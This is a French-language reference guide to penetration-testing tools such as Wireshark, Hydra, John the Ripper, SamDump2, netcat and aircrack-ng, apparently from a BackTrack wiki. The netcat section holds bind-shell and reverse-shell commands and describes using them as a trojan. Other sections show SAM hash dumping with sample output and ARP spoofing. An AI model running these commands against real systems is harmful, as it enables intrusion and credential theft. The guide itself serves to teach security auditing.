Wireshark (qu'on pourrait franciser par le "requin du réseau") est l'un des outils les plus complets en matière d'audit et d'analyse de données transitant au
travers d'un réseau local. Anciennement nommé Ethereal, il permet un contrôle efficace sur les paquets interceptés (filtrage, reconstituer une communication,
...), ce qui permet aux administrateurs réseaux de connaitre la source d'un conflit.
Son atout principal est de fusionner ergonomie et puissance. En effet, Wireshark est simple d'utilisation, et ses possibilités sont nombreuses !
Version actuel : 0.99.6
Interface utilisateur
La fenêtre principale
Menu "File"
Le menu "File" vous permet d'ouvrir un fichier de trame réseau, de fermer le projet actuel, de fusionner un fichier au projet actuellement ouvert. De façon
courante, c'est par ce menu qu'on sauvegardera le projet ouvert, et qu'on l'exportera vers un format externe. Si le bouton croix vous fatigue, vous pourrez
toujours fermer le programme par ce menu.
Menu "Edit"
Ce menu est consacré aux recherches et marquages de paquets.
Préférence
Le sous-menu Préférence est important, dans la mesure où c'est le centre des configurations de wireshark. Il est conseillé de le visiter, pour ainsi adapter le
programme à vos préférences. A travers celui-ci, vous pourrez disposer les divers panels de l'interface utilisateur, les méthodes d'affichages, les diverses
options de sniffing, et aussi la configuration des protocoles. Note : Ces diverses configurations peuvent être retrouvées dans les menus associés.
Menu "View"
Comme souvent, ce menu active ou désactive l'affichage de certaines barres d'affichage. Le format de la date, la colorisation des paquets selon leur type...etc
Menu "Go"
Menu qui permet d'accéder directement à l'information voulue, d'aller en arrière ou en avant, selon ses recherches.
Menu "Capture"
Premier menu important, puisqu'on accède directement aux interfaces réseaux pour lancer le sniffing (cf section Voir le trafic des cartes réseaux), aux options
de capture (cf section Options de capture), puis de (re)démarrer/arrêter le sniffing, et d'accéder aux options de filtrage primaire.
Menu "Analyze"
Comme son nom l'indique, ce menu vous permet d'analyser les paquets. Il dispose donc du menu de filtrage "Display Filters" (nous l'appellerons filtrage
primaire, car c'est le plus important filtre, qui refuse, ou capture un paquet selon les arguments donnés, nous aurons ensuite un second filtre, n'ayant pas la
même fonction) ...
Menu "Statistics"
Avant-dernier menu, qui crée/recherche tout ce qui a trait à des statistiques en ciblant le type de communication/protocole utilisé.
Menu "Help"
Ce menu d'aide, traite globalement du programme, des options, une FAQ est intégrée sur les questions courantes.
Barre d'outil principale
Raccourci vers les différentes options décrites ci-dessus. Passez la souris sur ces boutons pour en connaitre la fonction.
Barre de filtrage secondaire
Cette barre de filtrage secondaire permet, une fois les paquets capturés, d'inscrire des expressions de recherche. Ces expressions peuvent permettre par
exemple d'afficher les communications vers une machine précise.
Fenêtres des paquets
Cette partie vitale, est affichée en plein au milieu. Elle est composée de 3 fenêtres, qui sont liées les unes aux autres.
La première segmente en colonne chaque paquet par une information précise. Par défaut :
No : Il s'agit du numéro du paquet (le nombre 1 est attribué au 1er paquet enregistré).
Time : Le temps écoulé entre chaque paquet capturé (0 pour le premier).
Source : L'IP source, émettrice du paquet.
Destination : L'IP de destination, réceptrice du paquet.
Protocol : Le protocole utilisé par ce paquet.
Info : Informations complémentaires (ports/service, numéro de séquence,...).
La seconde détaille le paquet sélectionné, de nombreuses informations sont proposées. Elle est segmentée dans la plus part des cas, en 4 arbres honrizontaux
hiérarchisés.
Note : celà peut légèrement varier selon le protocole
Frame : Donne toutes les informations de temps et taille du paquet.
Ethernet : Renseigne sur le matériel des auteurs du paquets.
IP : Offre des informations sur la couche IP (IP source, IP destination, version, protocole...).
TCP : Offre des informations sur la couche TCP (Port source, Port destination,checksum, flag...).
La troisième affiche les données présentes dans le paquet, sous format hexadécimal, et décimal.
Barre de status
Simple barre, donnant des informations sur le projet courant, les statistiques basiques des paquets capturés, affichés, marqués, et effacés.
Capturer des paquets
Vous apprendrez ici à démarrer le sniffer, tout en prenant compte des diverses options qu'il propose.
Voir le trafic des cartes réseau
Vous pouvez juste avoir un aperçu du trafic sur chaque carte réseau, à partir du menu "Capture > Interface"
Si vous cliquez sur "Start", le sniffing démarre ( On peut aussi y accéder par le menu "Capture > Start" ).
Si vous cliquez sur "Option", vous pourrez accéder aux options du projet ( On pourrait aussi y accéder par le menu "Capture > Option" ).
Les options de capture
Les options de filtrage primaire
Démarrer une capture de paquet
Le démarrage de la capture se fera au travers du bouton "Start", il est accessible à travers divers menus et options. Quoi qu'il en soit, ce bouton lance le
sniffing.
Mode d'affichage
La gestion de fichier
Ouvrir/Sauvegarder des paquets réseaux
Fusionner des fichiers
Exporter les données vers un format
Analyse des paquets
Aperçus des paquets capturés
Filtrer encore ses paquets
Créer des expressions pour le filtrage
Les différents protocoles
ARP (Address Resolution Protocol)
Le protocole ARP permet de faire la traduction d'une adresse IP en adresse physique (MAC).
DHCPv6
DNS (Domain Name Server)
Le protocole DNS traduit le nom de domaine en adresse IP.
HTTP (HyperText Transfer Protocol)
Les trames HTTP transitent sur le port 80.
ICMP
IGMP
IRC (Internet Relay Protocol)
MSNMS (MSN Messenger Service)
RARP (Reverse Address Resolution Protocol)
Le protocole RARP permet de faire la traduction d'un adresse physique (MAC) en adresse IP.
SSDP
Les trames SSDP transitent sur le port 1900.
TCP (Transmission Control Protocol)
UDP (User Datagram Protocol)
#Driftnet
DriftNet permet de capturer des images du trafic réseau et de les afficher dans une fenêtre X. Couplé à un MITM (Ettercap-ng) cet outil vous permet de voir
toutes les images d'une cible donnée.
Utilisation
# driftnet [options] [filtre]
Options
-h
Affiche ce message d'aide.
-v
verbeux.
-i interface Sélectionnez l'interface sur laquelle écouter (par défaut: Tous)
-p
Ne mettez pas l'interface d'écoute en mode promiscuous.
-a
Mode adjoint: ne pas afficher les images sur l'écran, mais les mettre dans un répertoire temporaire et annoncer leurs noms sur la sortie standard.
-m nombre
Nombre maximum d'images à garder dans le répertoire temporaire en mode auxiliaire.
-d répertoire Utilisez ce nom de répertoire temporaire.
-x prefix
Préfixe à utiliser lors de l'enregistrement d'images.
-s
Tente d'extraire des données audio écoutés à partir du réseau, en plus des images. À l'heure actuelle, unniquement compatible MPEG.
-S
Extrait l'audio seulement.
-M command
Use the given command to play MPEG audio data extracted with the -s option; this should process MPEG frames supplied on standard input.
Default: `mpg123 -'.
Filtre: Utilisation des filtres BPF
FORGEUR/RELAYEUR DE PAQUET
#Hping
Manpages FR: hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur commande et d'afficher les réponses de la cible comme le programme ping
le fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de paquets et les tailles arbitraires, et peut être utilisé dans le but de transférer des
fichiers encapsulés dans les protocoles supportés.
Usage
hping host [options]
Options
-h --help afficher cette aide
-v --version afficher la version
-c --count nombre de packet(s) réseaux à envoyer
-i --interval intervalle d'attente (uX pour X microseconde(s), par exemple -i u1000)
--fast raccourcit pour -i u10000 (10 packets par seconde(s))
--faster raccourcit pour -i u1000 (100 packets par seconde(s))
--flood Envois les packet réseaux aussi vite que possible. N'affiche pas les réponses
-n --numeric sortie en format numérique
-q --quiet mode silencieux
-I --interface nom de l'interface réseaux à utiliser (utilise l'interface de routage par défaut)
-V --verbose mode bavard
-D --debug informations de debbuguage
-z --bind bind ctrl+z to ttl
(default to dst port)
-Z --unbind unbind ctrl+z
--beep fait un beep sonore à chaques packets réseaux reçus
Mode
default mode TCP
-0 --rawip mode RAW IP
-1 --icmp
mode ICMP
More help is available use hping -h to see all parameters
#Nemesis
Nemesis est un forgeur de packets réseaux multi-protocoles.
Usage
nemesis [mode] [options]
Modes
arp
dns
ethernet
icmp
igmp
ip
ospf (currently non-functional)
rip
tcp
udp
Forger des paquets ARP/RARP
ARP/RARP Utilisation:
arp [-v (Mode bavard)] [options]
ARP/RARP Options:
-S <Adresse IP source>
-D <Adresse IP destination>
-h <Adresse MAC envoyer dans la trame ARP(spoof)>
-m <Adresse MAC de la cible dans la trame ARP>
-s <Solaris style ARP requests with target hardware addess set to broadcast>
-r ({ARP,RARP} permet la réponse)
-R (RARP activer)
-P <Fichier du code exécutable>
Data Link Options:
-d <Nom de l'interface Ethernet>
-H <Adresse MAC source>
-M <Adresse IP destination>
Forger des paquet IP
IP Utilisation:
ip [-v (Mode bavard)] [options]
IP Options:
-S <Adresse IP source>
-D <Adresse IP destination>
-I <IP ID>
-p <IP numéro de protocole>
-T <IP TTL>
-t <IP TOS>
-F <IP Options de fragmentation >
-F[D],[M],[R],[offset]
-O <IP Fichier d'options>
-P <Fichier du code exécutable>
Data Link Options:
-d <Nom de l'interface Ethernet>
-H <Adresse MAC source>
-M <Adresse IP destination>
Exemples
Paquet ARP:
nemesis arp -S 10.0.0.50 -D 10.0.0.1 -h 00:11:22:33:44:55
L'équipement 10.0.0.1 va recevoir une requête ARP de type:
Who has 10.0.0.1 tell 10.0.0.50
Celui-ci va répondre:
10.0.0.1 is at 00:01:29:D5:AE:d5
Et par la même occasion ajouter l'adresse MAC de 10.0.0.50 dans sa table ARP:
C:\>arp -a
Interface : 10.0.0.1 --- 0x2
Adresse Internet Adresse physique Type
10.0.0.50
00-11-22-33-44-55 dynamique
#Scapy
Scapy est un outil Open Source écrit en python par Philippe Biondi.
Cet utilitaire permet de manipuler, forger, décoder, émettre, recevoir les paquets d’une multitude de protocoles (ARP, DHCP, DNS, ICMP, IP...).
Il peut facilement manipuler la plupart des tâches classiques comme le scan, tracerouting, des investigations, des attaques ou la découverte de réseau (il peut
remplacer hping, une infime partie de nmap, arpspoof, arp-sk, arping, tcpdump, WireShark, p0f, etc).
Il permet d’exécuter des tâches spécifiques que la plupart des autres outils ne sont pas capable de traiter, comme envoyer des trames invalides, injecter ses
propres trames 802.11, combiner des techniques (VLAN hopping+ARP cache poisoning, VOIP decoding sur canal chiffré en WEP...).
Source: SOH
Installation
apt-get install python-scapy
Usage
scapy.py [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P]
-C: do not read startup file
-P: do not read pre-startup file
SESSION D’AUHENTIFICATION
#Hydra/Hydra-gtk
Hydra est un brute force en ligne (ou en local), développé par la team THC. Selon ses auteurs, il serait le meilleur outil de sa catégorie. Il supporte de nombreux
services d’authentification tels que ftp, pop3, imap, telnet, http, icq, mysql, vnc....
Hydra est d’ailleur inclus dans Nessus et dispose d’un support pour le ssh. Ce programme est disponible en ligne de commande (Hydra), et en mode graphique
(Xhydra, anciennement Hydra-gtk).
Version actuelle : 5.4
Utilisation d'Hydra (mode texte)
Usage
hydra <options> <service>
Options disponibles
...
Exemples d'utilisation
Test de la sécurité de son server ftp.
Lorsque l'on connait un utilisateur du serveur FTP, on peut le saisir dans la ligne de commande (option -l user) et ne baser l'attaque que par dictionnaire de mot
(-P pass.txt).
Si l'on ne connait pas l'utilisateur, l'attaque sera basé sur un dictionnaire de nom (option -L user.txt) et un de mot (-P pass.txt).
Attention aux majuscules/minuscules dans la ligne de commande.
Utilisation d'Xhydra (mode graphique)
En mode graphique, l’utilisation de Xhydra est très simple. Celle-ci s’utilise en remplissant pas à pas des informations précises. Elles se divisent en cinq parties :
Target
Single Target : Si vous n’avez qu’une cible, identifiez-la par son host, ou IP
Target List : Si vous avez une multitude de cibles, donnez le fichier de cette liste.
Port : Port du service d’authentification
Protocole : Pour connaitre le protocole qui gère le service
Use ssl : Supporter le ssl (uniquement pour les services sécurisés)
Be Verbose : Xhydra vous donnera le maximum de détail sur ce qu’il fait.
Show Attempts : Montrer toutes les tentatives du logiciel.
Debug : Permettre la gestion d’erreurs.
Password
Username : Si vous connaissez l’utilisateur, entrez son nom
Username list : Dans le cas contraire, mettez le fichier qui contient une liste user (Plus elle est grande, plus il y aura de chance)
Password : Si vous connaissez le password, entrez le.
Password list : Dans le cas contraire, donnez une liste (même principe que "username list")
Try login as password : utiliser le login actuel comme password
Try empty password : utiliser le login actuel sans password
Tuning
Number of Task : Nombre de tâches en parallèle
Timeout : Temps de réponse maximum
Exit after first found pair : Fermer après avoir trouvé un login et pass valide
Vous pouvez utiliser un proxy (http/https) avec ou sans authentification (selon le type de proxy) dans la section Use a HTTP/HTTPS Proxy, et selon la méthode
simple, ou la méthode CONNECT (pour les tunnels).
Spécific
Start
#John The Ripper
John The Ripper est un perceur (cracker) de mot de passe en local. Il est disponible sur plusieurs distributions.
Sa particularité réside principalement dans sa rapidité à casser les différents chiffrements asymétriques (hashs md5, lm...) en consommant très peu de
ressources, ce qui le classe parmi les meilleurs outils ! Il tentera dans un premier temps de détecter les mots de passe faibles (Attaque par dictionnaire), puis
ensuite agir de façon ingénieuse (Attaque hybride).
Version actuelle : 1.7.2
Options de base
Pour faire fonctionner john, vous devez simplement lui fournir un fichier contenant les passwords, et éventuellement un mode de crackage.
user ~ # john password
Pour le forcer à utiliser votre dictionnaire avec ses règles :
user ~ # john --wordlist=password.lst --rules passwd
Pour continuer une session interrompue, tapez :
user ~ # john --restore
Une fois fini, vous pourrez consulter les mots de passe en tapant :
user ~ # john --show password
Personnaliser son fonctionnement
Les modes
Différents modes sont disponibles dans jtr, ces modes sont par défaut lors d'une session appliqués les uns après les autres.
Simple
Mode très rapide, qui génère des mots de passe en fonction du login, et du GECOS (prénom, nom de l'utilisateur; ex : Aretha Connery). Ce dernier est sujet à
des règles de modification, écrites dans le fichier conf.
Dictionnaire
Ce mode permet de spécifier un dictionnaire.
Incrémental
Mode permettant de générer toutes les combinaisons possibles. On peut le limiter à un nombre de caractère, et le resteindre à un charset précis.
Externe
Autre mode personnalisé crée par l'utilisateur.
Fichier de configuration
Charsets
Tous (All)
Lettre (Alpha)
Nombre (Digits)
Lettre & Nombre (Alnum)
Lanman
Créer son propre charset
Générer un dictionnaire avec john
Vous pouvez par exemple, vouloir éviter les doublons dans un dictionnaire :
./john --wordlist=/pentest/password/dictionaries/all --stdout | uniq > dico.lst
Vous pouvez utiliser également le mode incrémental (mode alpha-numérique), et restreindre la taille à 6 caractères :
./john --incremental=alnum --stdout=6 > dico.lst
#BkHive
BkHive permet de récupérer la clé syskey d'un système Windows à partir de la ruche système puis de la sauvegarder dans un fichier pour pouvoir la réutiliser
avec SamDump2 par exemple.
Utilisation
# bkhive RucheSysteme FichierCle
Exemples
Sur une installation Windows "standard" la ruche système se trouve à: C:\WINDOWS\system32\Config\system . Dans un environnement Windows on peut
utiliser le chemin suivant: %SystemRoot%\system32\Config\system
bt ~ # bkhive /mnt/sda2/windows/system32/config/system syskey
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: [email protected]
Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: 861606476072d7cc56fba075e732894e
Un fichier syskey a été créé dans le répertoire courant, celui-ci pourra être utilisé avec SamDump2.
#SamDump2
SamDump2 décrypte la base SAM d'un système Windows à l'aide de la clé (syskey) récupérée par BkHive. Puis l'outil nous renvoie le hash des mots de passe
ainsi que le nom d'utilisateur associé. Ce qui permet de casser le mot de passe avec Ophcrack par la suite.
Utilisation
# samdump2 RucheSAM FichierCle
Exemples
Sur une installation Windows "standard" la ruche SAM ce trouve à: C:\WINDOWS\system32\Config\SAM . Dans un environnement Windows on peut utiliser le
chemin suivant : %SystemRoot%\system32\Config\SAM
bt ~ # samdump2 /mnt/sda2/windows/system32/config/sam syskey
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: [email protected]
Root Key : SAM
Administrateur:500:6de5034902bfd923aad3b435b51404ee:289e6b95795330953a90ab971e0599d7:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
shutdown76:1015:6de5034902bfd923aad3b435b51404ee:289e6b95795330953a90ab971e0599d7:::
SamDump2 nous renvoie les utilisateurs et mot de passe de la base SAM décryptés il ne reste plus qu'a utiliser Ophcrack pour obtenir les mots de passe en
clair.
#Ophcrack
OphCrack est un casseur(cracker) de mot de passe windows basé sur les rainbow tables qu’il intégre très efficacement. On peut le considérer comme le
meilleur dans son domaine. Son interfaçe est graphique, utilise GTK, ce qui permet d’être portable sur plusieurs systèmes (dont linux, windows, mac-os). Ses
principales caractéristiques sont de charger aisément les hashs du fichier chiffré SAM. Il peut également lancer une attaque sur un simple hash. Les fonctions
de hachage prisent en charge sont le LN et NTLM.
Version actuelle : 2.3.4
Utiliser OphCrack
Comme mentionné dans l’introduction, OphCrack utilise les RainbowTables, or elles ne sont pas inclus dans backtrack à cause de leur taille. Il vous foudra
visualiser l’article des RainbowTables pour plus d’informations
L’utilisation du logiciel est simple. On peut lancer soit un simple hash, soit charger le répertoire SAM (contenant l’ensemble des comptes). Le répertoire par
défault est $windowspath/WINDOWS/system32/config/
Avant de lancer une session il faudra avoir préalablement charger les tables de hash :
Le répertoire par défault est /usr/local/share/ophcrack/10000
Une fois de retour sur la fenêtre principale, il ne vous restera plus qu’à le démarrer, à travers la bouton “Launch“. Selon la longueur et la difficulté du mot de
passe, le temps varie, en moyenne celà ne devrait pas durer plus de 10minutes pour un mot de passe faible.
MAINTIEN D'ACCÈS / COUVERTURE DE TRACES
Introduction aux méthodes de maintien d'accès et de couverture de trace
Maintien d'accès
Les Rootkits
User-land : ring 3
Kernel-land : ring 0
Nettoyage de trace
Manipuler les fichiers logs
utmp
wtmp
btmp
lastlog
Historiques de commande
Horodatage des fichiers
Dernier accès
Dernière modification
Dernier changement
Système de surveillance / Gestion de log
Syslog
Logrotate
Programmes externes de sécurité
#Cryptcat
Cryptcat est le clone de netcat, à la seule condition que ce dernier chiffre ses communications(algorithme Twofish). En effet, netcat laisse passer en clair les
commandes, ce qui devient un facteur négatif pour camoufler ses agissements.
Il est donc nettement préférable d'utiliser Cryptcat. Cryptcat utilise exactement les mêmes commandes que Netcat.
#Netcat
Wikipidia : Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP. Il est conçu pour être incorporé aisément dans un large
panel d'applications. En raison de sa polyvalence, netcat est aussi appelé le « couteau suisse TCP/IP ». Il existe sur plusieurs systèmes d'exploitation et s'utilise
en ligne de commande.
Il peut être utilisé pour connaître l'état des ports à la façon d'un scan de ports. Les paramètres peuvent comprendre une plage de ports et une variation
aléatoire plutôt qu'un scan d'ordre décroissant par défaut. Il existe aussi une option qui permet d'envoyer des packets source-routed, des packets qui sont
envoyés via des routers dont on spécifie les IPs.
Usage
Se connecter à un serveur(mode client) : nc [-options] hostname port[s] [ports] ...
Attendre les connections(mode serveur) : nc -l -p port [-options] [hostname] [port]
Se connecter via tunnel(mode client): netcat -L hostname:port -p port [options]
Options
-c, --close
close connection on EOF from stdin
-e, --exec=PROGRAM
program to exec after connect
-g, --gateway=LIST
source-routing hop point[s], up to 8
-G, --pointer=NUM
source-routing pointer: 4, 8, 12, ...
-h, --help
display this help and exit
-i, --interval=SECS
delay interval for lines sent, ports scanned
-l, --listen
listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT forward local port to remote address
-n, --dont-resolve
numeric-only IP addresses, no DNS
-o, --output=FILE
output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM
local port number
-r, --randomize
randomize local and remote ports
-s, --source=ADDRESS
local source address (ip or hostname)
-E, --tls
use tls
-f, --cafile=FILE
CA certificate file to auth the peer
-F, --capath=PATH
CA certificate dir to auth the peer
-K, --dontcheckhost
don't check hostname with certificate data
-R, --cert=FILE
use certificate file (listen mode)
-k, --key=FILE
use private key (listen mode)
-t, --tcp
TCP mode (default)
-T, --telnet
answer using TELNET negotiation
-u, --udp
UDP mode
-v, --verbose
verbose (use twice to be more verbose)
-V, --version
output version information and exit
-x, --hexdump
hexdump incoming and outgoing traffic
-w, --wait=SECS
timeout for connects and final net reads
-z, --zero
zero-I/O mode (used for scanning)
Remote port number can also be specified as range. Example: '1-1024'
Exemples
Se connecter sur le port 80 d'un serveur web local(192.168.1.14), en activant le mode verbose :
$ netcat -v 192.168.1.14 80
Netcat : Bindshell
Vous pouvez mettre en place un Bindshell(Attacher un shell à netcat) pour s'en servir par exemple comme trojan. Image que l'on met netcat en écoute(sur le
port 59330), sur un ordinateur cible (du type Microsoft Windows), auquel on relie un terminal(cmd.exe) :
netcat -lvvp 59330 -e cmd.exe
Il suffira alors de se connecter sur le serveur, et taper des commandes, exactement comme si nous étions sur la machine cible. Dans le screen suivant, vous
voyez le serveur écouter sur le port 59330, en y attachant un shell(ici sous linux : /bin/sh). Le client se connecte, et lance la commande ls, ce qui liste
évidemment les fichiers.
Netcat : Reverse-shell
Imaginez maintenant le scénario inverse. Vous voulez toujours établir un shell, mais pour une raison x ou y, vous ne pouvez mettre de serveur en écoute sur la
machine cible(Par exemple à cause d'un firewall qui refuse les paquets entrants), la solution est alors d'établir un Reverse-Shell. C'est à dire que le serveur ce
sera vous, et le client la machine cible. Sur la machine cible on lancera une commande de type :
netcat -vv xxx.xxx.xxx.xxx yyyyy -e SHELL
Où l'ensemble des x définit votre adresse IP, et les y le port sur lequel vous avez mis le serveur. Evidemment, pour avoir le shell, il faut préciser l'option '-e,
suivit du chemin vers le shell.
Dans l'exemple suivant, nous avons créés un serveur en écoute sur le port 59330 en local, et un client se connecte, vous pourrez remarquer que le serveur
dispose d'un shell(la commande ls est utilisé).
Les notions de bindshell et revershell reviennent souvent dans le monde de la sécurité, notamment dans le domaine des exploits, où les shellcodes établissent
la pluspart du temps un reverse shell pour contrer la restriction d'un réseau(Celà est relatif en fonction des règles du Firewall).
ANALYSE DE RÉSEAU SANS FIL
Introduction aux réseaux sans fil
1 Introduction
2 Le Wi-Fi
2.1 WEP
2.2 WPA
3 Le Bluetooth
4 Liens externes
Introduction
Les réseaux sans fil nous envahissent sans que nous ayons la moindre sensation de leurs présences. Ces ondes radioélectriques parcourent les airs jusqu'à la
limite de leur puissance. Mis en place pour régler les problèmes de cablage, ils séduisent de nombreux internautes. Ainsi un simple client d'un fournisseur peut
disposer dans son boitier adsl, d'un émetteur d'onde, lui permettant de relier les ordinateurs au travers d'un réseau domestique.
Pour clarifier les problèmes d'interférence, de conflit, et d'écoute (car d'autres services comme les militaires les utilise), des normes ont été mis en place. Par
exemple, il n'est officiellement pas possible d'écouter la fréquence des gendarmes. C'est pour cela, qu'on a mis en place des plages de fréquence qu'on attribue
en fonction de ce qu'on y pratique (Et quand bien même vous y arrivez, ces communications sont pour la plus part sécurisés).
Le Wi-Fi
Extrait de [wikipédia] :
Le wifi ou wi-fi (prononcé /wifi/) est une technologie de réseau informatique sans fil mise en place pour fonctionner en réseau interne et, depuis, devenue un
moyen d'accès à haut débit à Internet. Il est basé sur la norme IEEE 802.11 (ISO/CEI 8802-11) [Lire la suite].
Le Wi-Fi est basé sur les fréquences 2.4GHz et sécurisé par des différents cryptages plus ou moins sûrs (wep, wpa).
WEP
Voici la définition par Wikipédia :
Le Wired Equivalent Privacy (abrégé WEP) est un protocole obsolète pour sécuriser les réseaux sans-fil de type Wi-Fi. Les réseaux sans-fil diffusant les messages
échangés par ondes radioélectriques, sont particulièrement sensibles aux écoutes clandestines. Le WEP tient son nom du fait qu'il devait fournir aux réseaux
sans-fils une confidentialité comparable à celle d'un réseau local filaire classique.
Cependant, plusieurs faiblesses graves ont été identifiées par les cryptologues. Le WEP est parfois surnommé avec le sobriquet de Weak Encryption Protocol.
Le WEP a donc été supplanté par le WPA en 2003, puis par le WPA2 en 2004 (WPA2 est la version de la norme IEEE 802.11i certifiée par la Wi-Fi Alliance).
Malgré ses faiblesses intrinsèques, le WEP fournit un niveau de sécurité minimal qui peut décourager les attaquants les moins expérimentés, quoique l'on peut
trouver aujourd'hui des utilitaires de cracking de réseaux WEP.
WPA
Voici la définition par Wikipédia :
Wi-Fi Protected Access (WPA et WPA2) est un mécanisme pour sécuriser les réseaux sans-fil de type Wi-Fi. Ils ont été créés en réponse aux nombreuses et
sévères faiblesses que des chercheurs ont trouvées dans le mécanisme précédent, le WEP. WPA respecte la majorité de la norme IEEE 802.11i et a été prévu
comme une solution intermédiaire pour remplacer le WEP en attendant que la norme 802.11i soit terminée. WPA a été conçu pour fonctionner, après mise à
jour de leur micro-logiciel, avec toutes les cartes Wi-Fi, mais pas nécessairement avec la première génération des points d'accès Wi-Fi. WPA2 quant à lui
respecte la norme entière, mais ne peut pas être implémenté sur les matériels anciens. Les deux mécanismes fournissent une bonne sécurité, si l'on respecte
deux points importants :
L'utilisateur doit encore souvent faire le choix explicite d'activer WPA ou WPA2 en remplacement du WEP, car le WEP reste habituellement le choix de
chiffrement par défaut sur la plupart des équipements.
lorsque le mode Personal (le choix le plus probable pour les individuels et les PME) est utilisé, une phrase secrète plus longue que les classiques mots de passe
de 6 à 8 caractères utilisés par les utilisateurs est nécessaire pour assurer une sécurité complète.
Le Bluetooth
Extrait de [wikipédia] :
Bluetooth est une spécification de l'industrie des télécommunications. Elle utilise une technologie radio courte distance destinée à simplifier les connexions
entre les appareils électroniques. Elle a été conçue dans le but de remplacer les câbles entre les ordinateurs et les imprimantes, les scanners, les claviers, les
souris, les téléphones portables, les PDA, les autoradios et les appareils photo numériques.
#Airmon-ng
Usage
airmon-ng <start|stop|check> <interface> [channel or frequency]
Exemple d'utilisation
airmon-ng start wlan0
wlan0 est l'interface WiFi.
Résultats
Deux cas sont possibles : soit le mode monitor est directement disponible sur l'interface wlan0 ; soit le monitoring sera disponible sur l'interface virtuelle mon0
créée par Airmon-ng, dans ce cas il faudra utiliser l'interface mon0 pour injecter des paquets.
#Airodump-ng
Airodump-ng fait partie de la suite Aircrack-ng, dédié à l’audit 802.11, ses fonctionnalités le dotent à la fois d’un scanner et d’un sniffer réseau dans le but d’en
retirer les informations qui le comprometteront. Sa part de travail dans un crackage de clé WEP, consiste à récupérer le maximum d’IVS. RTFM.
La page concernant la suite d’aircrack-ng vous donnera plus de détails sur les nouvelles caractéristiques dont se dote cette nouvelle génération d’outils.
Attention, pour utiliser airodump-ng, assurez vous d’être équipé d’une carte supportant le mode monitoring. Pour cela, utilisez airmon-ng.
Version actuelle : 0.9
Usage
airodump-ng <options> <interfaçe>[,<interface>,...]
Options
--ivs : Enregistre seulement les paquets IV's capturés. (-i).
--gpsd : Utilise GPSd. (-g).
--write <prefix> : Ecrit le résultat dans le fichier nommé "prefix". (-w).
--beacons
: Ajoute les beacons dans le fichier (-e).
--netmask <netmask> : Filtre les points d'acces par leur masque. (-m).
--bssid <bssid> : Filtre les points d'acces par leur BSSID. (-d).
--encrypt <suite> : Filtre les points d'acces par leur cypher suite. (-t).
-a
: filtre les clients non -associés
Par défaut, airodump-ng saute sur les canaux 2.4Ghz. Vous pouvez le faire capturer sur d'autres canaux en utilisant:
--channel <channels>: Capture sur un canal spécifique. (-c).
--band <abg>
: Fréquence sur laquelle airodump-ng devrait sauter. (-b).
--cswitch <method> : Définit la méthode de saut de canaux. (-s).
0 : FIFO (default)
1 : Round Robin
2 : Hop on last
Exemples
Scanner/Rechercher tous les réseaux
airodump-ng rausb0
Récupérer les IVS sur un canal
L’exemple suivant scannera le canal 6, et enregistrera tous les IVs dans le fichier nommé scan à travers l’interfaçe rausb0.
airodump-ng -w scan --ivs --channel 6 rausb0
nb: depuis la version 0.9, il n' est plus nésessaire d' employer la commande --ivs, on capturera les données en .cap
cf: aircrack-ptw intergré dans aircrack-ng 0.9 & versions supérieures.
#Darkstat
Installation
apt-get install darkstat
Usage
darkstat [ -i interface ]
[ -r file ]
[ --pppoe ]
[ --verbose ]
[ --no-daemon ]
[ --no-promisc ]
[ --no-dns ]
[ --no-macs ]
[ -p port ]
[ -b bindaddr ]
[ -f filter ]
[ -l network/netmask ]
[ --chroot dir ]
[ --user username ]
[ --daylog filename ]
[ --import filename ]
[ --export filename ]
[ --pidfile filename ]
[ --hosts-max count ]
[ --hosts-keep count ]
[ --ports-max count ]
[ --ports-keep count ]
[ --highest-port port ]
#Kismet
Kismet est un sniffer et un détecteur d'intrusion. Il fonctionne avec toutes les cartes supportant le monitoring (rfmon) et peut sniffer le trafic 802.11b, 802.11a,
et 802.11g. Kismet est composé d'un serveur et d'un client (par défaut l'accès est restreint à l'adresse local) ce qui permet à plusieurs utilisateurs de voir un
seul serveur Kismet simultanément.
Usage
Par le menu : Backtrack -> Radio Network Analisys -> 80211 -> all -> Kismet
Pour lancer kismet via la console :
kismet [OPTION]
Toutes ces options peuvent être configurées dans /usr/local/etc/kismet.conf.
-I, --initial-channel <n:c> Initial channel to monitor on (default: 6)
Format capname:channel
-x, --force-channel-hop Forcibly enable the channel hopper
-X, --force-no-channel-hop Forcibly disable the channel hopper
-t, --log-title <title> Custom log file title
-n, --no-logging
No logging (only process packets)
-f, --config-file <file> Use alternate config file
-c, --capture-source <src> Packet capture source line (type,interface,name)
-C, --enable-capture-sources Comma separated list of named packet sources to use.
-l, --log-types <types> Comma separated list of types to log,
(ie, dump,cisco,weak,network,gps)
-d, --dump-type <type>
Dumpfile type (wiretap)
-m, --max-packets <num> Maximum number of packets before starting new dump
-q, --quiet
Don't play sounds
-g, --gps <host:port>
GPS server (host:port or off)
-p, --port <port>
TCPIP server port for GUI connections
-a, --allowed-hosts <hosts> Comma separated list of hosts allowed to connect
-b, --bind-address <address> Bind to this address. Default INADDR_ANY
-r, --retain-monitor
Leave card in monitor mode on exit
-s, --silent
Don't send any output to console.
-N, --server-name
Server name
--daemonize
Background server in daemon mode
-v, --version
Kismet version
-h, --help
What do you think you're reading?);
Pour lancer le client kismet via la console :
kismet_client [OPTION]
Toutes ces options peuvent être configurées dans /usr/local/etc/kismet.conf.
-f, --config-file <file> Use alternate config file
-u, --ui-config-file <file> Use alternate UI config file
-q, --quiet
Don't play sounds
-s, --server <host:port> Connect to Kismet host and port
-g, --gui <type>
GUI type to create (curses, panel)
-c, --columns <list>
Columns to display initially (comma seperated)
-r, --reconnect
Try to reconnect after the client/server connection
fails.
-C, --client-columns <list> Columns to display for client info
-v, --version
Kismet version
-h, --help
What do you think you're reading?
Configuration
Dans BackTrack 3 beta , il faut éditer le fichier /usr/local/etc/kismet.conf et spécifier la source (liste des sources et compatibilités):
(Pour la version installer, il faut ajouter la ligne)
